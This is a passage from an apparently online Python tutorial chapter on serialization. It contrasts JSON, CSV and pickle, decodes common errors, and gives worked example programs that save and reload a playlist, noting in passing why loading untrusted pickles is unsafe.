The bridge is also honest about loss, which is the whole point of writing it by hand. Because you author the projection, tuple-versus-list, set ordering, and datetime precision are visible choices in your code. They are not silent surprises the encoder made for you. If sorting the tags loses their original order, that loss is right there in sorted() where a reviewer can see it. It is not buried in a round-trip three modules away. This is the "no silent simplification" rule made concrete: every lossy step is labelled at the site where it happens.

ERROR CLINICyou will meet these — decoded
Traceback (most recent call last):
  File "load_settings.py", line 5, in <module>
    settings = json.load(f)                       # ...and the cursor is now at EOF
               ^^^^^^^^^^^^
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
Open settings.json in an editor and it is perfect JSON, which is why this one costs people an afternoon. Nothing is wrong with the file. What is empty is f. The friendly log line two lines up called f.read() to count the characters, and reading a handle moves the cursor — chapter 15's cursor, still sitting where you left it, at the end. Then json.load(f) does precisely one thing before parsing: it calls f.read() again, and a spent handle returns ''. So section 02's automaton opened in state EXPECT-VALUE and was handed no byte at all. That is what this message always means, and it is worth learning as a sentence rather than a mystery: a value had to begin here and nothing legal did. Chapter 15 showed you this exact bug wearing its own clothes — a second .read() coming back '', with the note the file is fine, you moved. It is unrecognizable here only because the second read is the one json.load performs on your behalf. The same message also arrives from an empty file on a program's first ever run, and from an API reply that turned out to be an HTML error page, because < cannot start a JSON value either. char 0 is the tell that separates all of these from a real syntax error: the parser never got going.
read the handle once — keep text = f.read() and hand that to json.loads(text), or f.seek(0) before you load
Traceback (most recent call last):
  File "save_playlist.py", line 8, in <module>
    json.dump(playlist, f)
ValueError: Circular reference detected
You did not sit down to build a cycle. You wrote the two most natural lines in the file — the playlist knows its tracks, and each track knows its playlist — and in RAM that is a healthy graph that costs nothing, because a back-pointer is just one more address. Flattening it is where it bites, and notice what the encoder did not do: it did not spin, and it did not blow the stack. _iterencode_dict keeps a markers dict keyed by the id() of every container it currently has open, and meeting an id that is already in there is the definition of a cycle, so it checks and refuses before descending. One labelled limit, because the guard is narrower than it sounds: the marker is deleted when the container closes, so this catches cycles and not sharing. We ran one band referenced by two songs through dumps: no error, the band written out twice, and on the far side back[0]["artist"] is back[1]["artist"] came back False. That is the same id() bookkeeping as section 05's memo with the opposite verdict — pickle records the object and replays it, json marks it and refuses — which is exactly why a cycle round-trips through one and never through the other.
cut the back-edge before you serialize — store "playlist": "Late night", a name or an id, where the object pointer was, and re-attach the pointer after loading
Traceback (most recent call last):
  File "read_cache.py", line 4, in <module>
    tracks = pickle.load(f)      # the file is fine; the module moved
             ^^^^^^^^^^^^^^
ModuleNotFoundError: No module named 'store'
Read that once more and let it stay strange: a data file just raised an import error. Nothing in cache.pkl contains your class. A pickle stores the class the only way a byte stream can — as a name, the pair store and Track — and load resolves that name against today's code by performing the import and the attribute lookup. That is STACK_GLOBAL, the very opcode section 06 watched reach out for os.system; here it reaches for something of your own and misses, because you moved store.py into a package last Tuesday. Break the other half of the same lookup and it says so just as plainly: rename the class and leave the module alone, and the message becomes AttributeError: Can't get attribute 'Track' on <module 'store' ...> — module found, name gone. So the security hole and the rotting cache are not two facts about pickle; they are one opcode seen from two angles. Fetch-by-name is the whole instruction, and whether it lands on something dangerous or on nothing at all is settled by today's import path, never by the bytes. That is also why this failure arrives late and arrives alone: nothing about the code you are running is broken, so no test you own can fail, and the traceback waits for the first machine that still holds an old cache.pkl.
treat pickles as a cache you can always throw away — anything that must outlive a rename goes out through to_dict with a version stamp
STAMP A VERSION AND YOU CAN EVOLVE THE SCHEMA
The "version": 1 key isn't decoration. When next year's Song splits a legacy "name" field into title and artist, from_dict can branch on d.get("version", 0) and upgrade old dicts on read. A durable store must survive the code that wrote it changing — the version field is how a five-year-old file still loads.

This convention scales. Give every serializable class the same to_dict/from_dict pair, let nested objects recurse into each other, stamp a version, and you have a store that survives process death (section 1's wall), crosses language boundaries (JSON's whole reason to be small, section 3), never mis-handles a float you didn't guard (section 4), and never trusts bytes to run code (section 6). It is strictly more work than pickle.dumps, and that work is the safety and the durability. This is exactly what the capstone uses to save and reload its library between runs.

TYPE THIS · save it, then run itcsv_report.py — the same playlist as a spreadsheet, and one number computed from it
# csv_report.py -- the same playlist as a spreadsheet, and one number computed from it
import csv
from dataclasses import dataclass, asdict, fields
from pathlib import Path

REPORT = Path("playlist.csv")


@dataclass
class Track:
    title: str
    artist: str
    seconds: int
    plays: int = 0


playlist = [Track("Blinding Lights", "The Weeknd", 200, 3),
            Track("Sing, Sing, Sing", "Benny Goodman", 512, 2),
            Track("Titanium", "David Guetta", 245),
            Track("Levels", "Avicii", 203, 1)]

COLUMNS = [f.name for f in fields(Track)]

# ---------- out: one Track per row ----------
with open(REPORT, "w", newline="", encoding="utf-8") as f:
    w = csv.DictWriter(f, fieldnames=COLUMNS)
    w.writeheader()
    for t in playlist:
        w.writerow(asdict(t))
print("columns   :", COLUMNS)
print("written   :", REPORT.stat().st_size, "bytes")
print()
print("--- the file itself ---")
print(REPORT.read_text(encoding="utf-8"), end="")
print("-----------------------")

# ---------- back in: every cell arrives as text ----------
with open(REPORT, "r", newline="", encoding="utf-8") as f:
    rows = list(csv.DictReader(f))

print()
print("row 0     :", rows[0])
print("seconds is:", type(rows[0]["seconds"]).__name__, "- csv has no types, so you convert")

restored = [Track(r["title"], r["artist"], int(r["seconds"]), int(r["plays"]))
            for r in rows]
print("rebuilt   :", len(restored), type(restored[0]).__name__, "objects")
print("round trip:", restored == playlist)

# ---------- the aggregate: what a report is for ----------
total = sum(t.seconds * max(t.plays, 1) for t in restored)
minutes, secs = divmod(total, 60)
print()
print(f"listening : {minutes}:{secs:02d} across {len(restored)} tracks")
print("most played:", max(restored, key=lambda t: t.plays).title)
print("comma title:", restored[1].title, "- survived a comma-delimited file")
REPORT.unlink()
columns   : ['title', 'artist', 'seconds', 'plays']
written   : 152 bytes

--- the file itself ---
title,artist,seconds,plays
Blinding Lights,The Weeknd,200,3
"Sing, Sing, Sing",Benny Goodman,512,2
Titanium,David Guetta,245,0
Levels,Avicii,203,1
-----------------------

row 0     : {'title': 'Blinding Lights', 'artist': 'The Weeknd', 'seconds': '200', 'plays': '3'}
seconds is: str - csv has no types, so you convert
rebuilt   : 4 Track objects
round trip: True

listening : 34:32 across 4 tracks
most played: Blinding Lights
comma title: Sing, Sing, Sing - survived a comma-delimited file
Save it as csv_report.py and run it. Same three tracks, same dataclass, a completely different shape on disk — and the difference is worth naming. JSON stores a tree: nesting, types, one document. CSV stores a table: rows and columns, and nothing else. When your data really is a table, CSV is smaller, and it opens in every spreadsheet on earth without a word of explanation. Ours is 152 bytes against JSON's 366. Notice how the columns get named. [f.name for f in fields(Track)] asks the dataclass itself, so the header row can never drift out of step with the class. Then DictWriter fixes that order for every row, and writeheader() writes it once. Nothing here is hand-typed twice, which is the point. Look at the file. Sing, Sing, Sing came out wrapped in quotes, automatically, because the module knows the delimiter is in the data. You will meet that again in the exercise, from the other direction. And then read the row we print back: every value is a string, including "200" and "3". CSV has no type system at all — not even JSON's six — so the conversion is yours, and int(r["seconds"]) is the same move chapter 15 made with int(seconds). The aggregate at the end is what a report is for: total listening time, computed after the rebuild, from real integers. Two things to try. Open the file in a spreadsheet and confirm the quoted title lands in one cell. Then remove the int() calls and watch sum raise — the error is telling you that a spreadsheet column is text until you decide otherwise.

pickle

One line, total fidelity, cycles and identity for free — but Python-only, version-brittle, and loads executes arbitrary code. For your own trusted bytes only.

dict-bridge + JSON

More code, hand-owned projection, every loss visible — but human-readable, cross-language, evolvable, and structurally incapable of executing an attacker's code. For everything that crosses a boundary.

Wait — feed from_dict a hand-crafted hostile JSON string full of extra keys and menacing-looking values, and the worst it can do is build a Song with wrong data — or raise KeyError on a missing field. It cannot rm -rf anything, because the only callables in reach are the constructors you wrote. That is the entire chapter in one experiment: the same bytes that are a loaded gun through pickle.loads are inert through a bridge you control.

You now hold the whole machine: flatten the graph to values and structure, choose your bargain — universal-and-safe or Python-complete-and-dangerous — and own every lossy seam. The next chapter carries this across a different border: not disk, but the wire, where bytes cross between machines that share nothing at all. →

SAY IT BACKthe chapter in five breaths
  1. What crosses a process boundary is bytes, never objects — an object is a graph whose edges are process-local addresses, so serialization keeps the values and the nesting, throws every address away, and lets the far side allocate brand-new ones into the same shape.
  2. JSON is not a blob format but a grammar: six value types and a stack, walked strictly left to right, which makes every decode failure the same undramatic thing — a byte with no legal transition — and makes e.pos the exact character to look at instead of the forty brackets you were about to count.
  3. Six types is fewer than Python's hundreds, so dumps performs a lossy many-to-few projection: it raises where no projection exists (a set, a datetime, your own class) and takes the lossy one without a word where one does (every sequence to an array, every key to a string) — and even inside the safe six, any number you send as a float rides an IEEE-754 double, so Python's own ints survive exactly while a reader whose only number type is that double loses exactness past 253, which is why money travels as integer cents or a decimal string.
  4. A pickle is not a document but a program for a small stack machine: a memo keyed by id() is what lets it replay a shared object and rebuild a cycle that json must refuse, and the same interpreter carries a REDUCE opcode that calls whatever callable the stream names — so loading is executing, and bytes you did not write are code you did not read.
  5. The bridge is the answer to both: a hand-written to_dict / from_dict pair with a version stamp puts every lossy seam on a line a reviewer can point at, rebuilds the real type by running your own constructor, and can reach no callable you did not name — more typing than pickle.dumps, and the typing is the safety.
You already owned the pieces: chapter 12 gave you the dataclass that asdict walks on the way out and Track(**row) rebuilds on the way in; chapter 15 gave you the with open() block, the file cursor that the clinic's first traceback walks straight off the end of, and the delimiter bug that this chapter finally settles; chapter 16 gave you the reason a written file is not yet a saved one, and the temp-file-and-rename ritual that a torn write makes necessary; chapter 17 gave you the wall between str and bytes that decides "w" for json and "wb" for pickle, and the codec that ensure_ascii=False hands the work to; chapter 13 gave you the try / except that turns a JSONDecodeError into a printed offset instead of a stopped program. Chapter 18 added two module names and one hand-written pair of methods. What it added underneath is a question you can now put to any boundary in any system you will ever build: what does the far side actually share with me — and what am I therefore allowed to send?
TYPE THIS · the chapter's capstone — save it, then run itjukebox_store.py — chapter 15's jukebox, re-cut in JSON: the delimiter bug is over
# jukebox_store.py -- chapter 15's jukebox, re-cut in JSON: the delimiter bug is over
import json
from dataclasses import dataclass, asdict
from pathlib import Path

DB = Path("jukebox.json")
VERSION = 1


@dataclass
class Track:                                     # ch 12's dataclass, still unchanged
    title: str
    artist: str
    seconds: int
    plays: int = 0

    def __str__(self):
        minutes, secs = divmod(self.seconds, 60)
        return f"{self.title} - {self.artist} ({minutes}:{secs:02d})  played {self.plays}x"


def save(tracks, path=DB):
    """Whole library, one JSON document. Returns how many tracks landed."""
    payload = {"version": VERSION, "tracks": [asdict(t) for t in tracks]}
    with open(path, "w", encoding="utf-8", newline="\n") as f:   # ch 17: name the codec
        json.dump(payload, f, indent=2, ensure_ascii=False)
    return len(tracks)


def load(path=DB):
    """JSON back into Track objects. A broken file is reported, never guessed at."""
    if not path.exists():                        # first ever run: nothing to load
        return []
    with open(path, "r", encoding="utf-8") as f:
        try:
            payload = json.load(f)
        except json.JSONDecodeError as e:         # ch 13's discipline, ch 18's offset
            print(f"  {path.name} is not valid JSON: {e.msg} at char {e.pos}")
            return []
    if payload.get("version") != VERSION:
        print(f"  version {payload.get('version')} file, this code speaks {VERSION}")
    return [Track(**row) for row in payload["tracks"]]


# ---------- run 1: build it in RAM, play one, save it ----------
playlist = [
    Track("Blinding Lights", "The Weeknd", 200),
    Track('Sing, Sing, Sing | "Live"', "Benny Goodman", 512),   # the ch-15 killer row
    Track("Björk — Jóga", "Björk", 302),                        # the ch-17 killer row
]
playlist[0].plays += 1                                          # somebody pressed play
print("in memory :", len(playlist), "tracks")
for t in playlist:
    print("   ", t)
print("saved     :", save(playlist), "tracks ->", DB.name)

print("--- what is actually on disk ---")
print(DB.read_text(encoding="utf-8"))
print("-------------------------------")

# ---------- the process ends here. Everything in RAM is gone. ----------
del playlist

# ---------- run 2: a fresh program, loading from the file ----------
restored = load()
print("loaded    :", len(restored), "tracks, rebuilt as", type(restored[0]).__name__, "objects")
for t in restored:
    print("   ", t)
print("plays kept:", restored[0].plays, "- the play survived the process")
print("round trip:", restored == [
    Track("Blinding Lights", "The Weeknd", 200, 1),
    Track('Sing, Sing, Sing | "Live"', "Benny Goodman", 512),
    Track("Björk — Jóga", "Björk", 302),
])

# ---------- the line that chapter 15 could not hold ----------
print()
print("ch 15 wrote:", "Sing, Sing, Sing | \"Live\"|Benny Goodman|512|0")
print("            -> line 4 skipped: too many values to unpack (expected 4)")
print("ch 18 holds:", repr(restored[1].title))
print("commas, pipes, quotes, accents  ->", restored[1].title == 'Sing, Sing, Sing | "Live"')

# ---------- and what a corrupt file does now ----------
DB.write_text('{"version": 1, "tracks": [{"title": "x",}]}', encoding="utf-8")
print()
print("corrupt   :", len(load()), "tracks")
DB.unlink()
in memory : 3 tracks
    Blinding Lights - The Weeknd (3:20)  played 1x
    Sing, Sing, Sing | "Live" - Benny Goodman (8:32)  played 0x
    Björk — Jóga - Björk (5:02)  played 0x
saved     : 3 tracks -> jukebox.json
--- what is actually on disk ---
{
  "version": 1,
  "tracks": [
    {
      "title": "Blinding Lights",
      "artist": "The Weeknd",
      "seconds": 200,
      "plays": 1
    },
    {
      "title": "Sing, Sing, Sing | \"Live\"",
      "artist": "Benny Goodman",
      "seconds": 512,
      "plays": 0
    },
    {
      "title": "Björk — Jóga",
      "artist": "Björk",
      "seconds": 302,
      "plays": 0
    }
  ]
}
-------------------------------
loaded    : 3 tracks, rebuilt as Track objects
    Blinding Lights - The Weeknd (3:20)  played 1x
    Sing, Sing, Sing | "Live" - Benny Goodman (8:32)  played 0x
    Björk — Jóga - Björk (5:02)  played 0x
plays kept: 1 - the play survived the process
round trip: True

ch 15 wrote: Sing, Sing, Sing | "Live"|Benny Goodman|512|0
            -> line 4 skipped: too many values to unpack (expected 4)
ch 18 holds: 'Sing, Sing, Sing | "Live"'
commas, pipes, quotes, accents  -> True

  jukebox.json is not valid JSON: Expecting property name enclosed in double quotes at char 40
corrupt   : 0 tracks
Save it as jukebox_store.py and run it. Chapter 15 ended this program with a confession, and this run is the reply. Back then we joined the fields with a |, and the last three lines of that file deliberately broke it: a title containing a pipe came back as too many values to unpack. We said then that real formats solve this by quoting or escaping, and that chapter 18 was where that happens. It just did. Read the two functions first, because they are the whole upgrade. save is asdict over the tracks, wrapped in a version stamp, handed to json.dump. load is json.load, then Track(**row). The split-on-a-character logic is gone, and with it the entire class of bug it carried. Now look at what survived. The title Sing, Sing, Sing | "Live" contains a comma, a pipe and a double quote, and it round-trips exactly — because JSON escaped the quote as \" in the file and unescaped it on the way back. The next row is chapter 17 collecting its own debt: Björk — Jóga stays readable on disk, because we passed ensure_ascii=False and named encoding="utf-8" on the file. Two named keys, two chapters, one line each. The version field is the quiet one. It does nothing today and it is the reason a file written by this code still loads in three years — load can branch on it and upgrade an old shape instead of crashing on it. And the last block is chapter 13's discipline aimed at chapter 18's failure. A trailing comma in the file raises JSONDecodeError, we catch it, and we print e.msg and e.pos — the exact character the state machine stopped on, exactly as section 2 promised. The whole chain is standing in one file now: chapter 12's dataclass, chapter 14's playlist, chapter 15's file handling, chapter 17's codec, chapter 18's grammar. Two things to try. Add a track whose title is a single " and watch the file grow a \" where it needs one. Then swap json.dump for pickle.dump with a "wb" handle — it works, the file is unreadable, and you now know exactly why you would not ship it.
PROGRAMS run them line by line — the same ideas, written the many ways Python offers
Chapter 18, in working code

A live object is a graph — a Song points at an Artist, a dict holds a set holds a tuple, and any of them can point back. Serialization is the act of walking that graph and flattening it into one linear stream you can write to a file or send over a wire. The catch is that flattening is lossy and format-specific: JSON keeps only six types and executes nothing, while pickle keeps every Python type and shared reference but will run code on load. These thirteen programs make the projection visible — what survives, what silently mutates, and where you have to build the bridge yourself.

From object graph to flat text
Before you can flatten a graph you have to see it: distinct objects, shared sub-objects, and the wall where json.dumps meets something that has no text form.
The lossy projection — what JSON drops
JSON has exactly six types: object, array, string, number, bool, null. Anything else is bent to fit or refused outright, and the reshaping is quiet.
Numbers don't round-trip for free
JSON numbers are IEEE-754 floats and a few tokens that aren't even legal JSON. Anything about precision or money is your problem, not the format's.
Pickle: full fidelity, real danger — and the safe bridge
Pickle preserves every Python type, shared reference, and cycle JSON can't — at the price of executing code on load. The last program is the safe alternative: a projection you write by hand.
end of chapter 18 · seven sections
iolinked
designed & developed by Ajai Raj
Python, from the metal up · a product of iolinked